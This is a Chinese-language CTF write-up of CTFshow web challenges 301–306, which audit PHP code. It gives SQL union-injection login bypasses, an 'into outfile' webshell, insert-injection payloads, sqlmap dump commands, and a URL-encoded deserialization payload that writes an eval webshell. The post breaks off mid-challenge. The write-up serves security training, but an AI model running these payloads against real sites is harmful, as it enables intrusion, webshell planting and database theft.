找回密码
 立即注册
首页 业界区 安全 [PHP之代码审计篇]CTFshowWeb入门 Web301~Web310 ...

[PHP之代码审计篇]CTFshowWeb入门 Web301~Web310

精滂软 2025-10-1 16:21:31
Web301


在源代码中 以下一处存在sql语句

方法一:联合查询注入
在联合查询并不存在得数据时,联合查询就会构造一个虚拟得数据就相当于构造了一个虚拟账户,可以使用这个账户登录。
平常我们联合注入得时候一般是这样得payload:?id=1 and 1=2 union select 1,database()#。会给两个回显位1 数据库名称。这个1是哪里来的呢,就是...select 1...1`创建得虚拟数据1
同时在同文件的第17行if(!strcasecmp($userpwd,$row['sds_password']))
strcasecmp是进行比较字符串,满足条件就能登录,如果str10;相等返回0
  1. 账号:-1' union select 1#密码:1
复制代码

方法二:sql写shell
  1. 账号:-1' union select "" into outfile "/var/www/html/shell.php"#密码:1
复制代码

方法三:非预期
bp抓包访问index.php

方法四:利用strcasecmp数组绕过
  1. userid=admin&userpwd[]=1
复制代码
根据前面的写shell,我们可以phpinfo()一下看一下php版本(7.3.22)

当 strcasecmp 的参数为数组时:

  • PHP 7.4 及以下:函数会返回 NULL,在条件判断中被视为 false。
  • PHP 8.0 及以上:会触发 E_WARNING 并返回 0(视为相等)。
所以可以利用数组进行绕过
Web302

根据题目

方法一:依旧可以用sql写shell
方法二:联合注入
但需要稍微改一下payload

md5(md5('1'.md5(base64_encode("sds")))."sds")
  1. 账号:-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#密码:1
复制代码
方法三:依旧是非预期

Web303(insert注入)

审计源码后,发现在dptadd.php中提示了注入点。

但是需要我们带着cookie进行访问,所以需要先登录
在checklogin.php中

结合fun.php
我们可以看出来账号和密码都是admin进行登录

然后去访问dptadd.php 会给我们一个返回语句
结合源码
  1. $sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";$result=$mysqli->query($sql);echo $sql;
复制代码
无过滤的insert注入
然后可以手工注入也可以直接进行sqlmap跑
python sqlmap.py -r "C:\Users\26387\Desktop\1.txt" -p dpt_name --batch -D sds -T sds_fl9g -C flag --dump

手工注入:
  1. 查表名dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#查字段dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#查值dpt_name=1',sds_address=(select flag from sds_fl9g)#
复制代码
可以在dpt.php下看到

Web304(有过滤的insert注入)

相比上一题增加了全局waf
  1. function sds_waf($str){        return preg_match('/[0-9]|[a-z]|-/i', $str);}
复制代码
但似乎环境并没有做过滤
依旧能用上面一样的打法
python sqlmap.py -r "C:\Users\26387\Desktop\1.txt" --batch -p dpt_name -D sds -T sds_flaag -C flag --dump

Web305(反序列化file_put_contents写入文件)

相比前面一题在fun.php中过滤很多,也就不能用之前的方法了。但他新增了class.php
  1. class user{        public $username;        public $password;        public function __construct($u,$p){                $this->username=$u;                $this->password=$p;        }        public function __destruct(){                file_put_contents($this->username, $this->password);        }}
复制代码
同时在checklogin.php中调用了这个

所以这题是反序列化漏洞
  1.        O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A8%3A%22password%22%3Bs%3A29%3A%22%3C%3Fphp+%40eval%28%24_POST%5B%22cmd%22%5D%29%3B%3F%3E%22%3B%7D
复制代码
在登陆的时候抓包,并在Cookie后面加上user和我们的反序列化串

然后用蚁剑连接

但是发现没有找到flag
但是在连接上的蚁剑中conn.php给了我们数据库的一些信息

然后回到shell,右键的数据操作


找到flag位置,点击执行


ctfshow{c8cade8c-a2d1-485b-a0ab-1320d1cc6dca}
Web306

审计源码
这次反序列化的注入点在index.php下

然后去看dao.php
可以看到存在__destruct()方法,那么就是从这入手

调用了class.php下的log类的close方法

然后在这个方法中存在file_put_contents()也就是写入函数
[code]

相关推荐

您需要登录后才可以回帖 登录 | 立即注册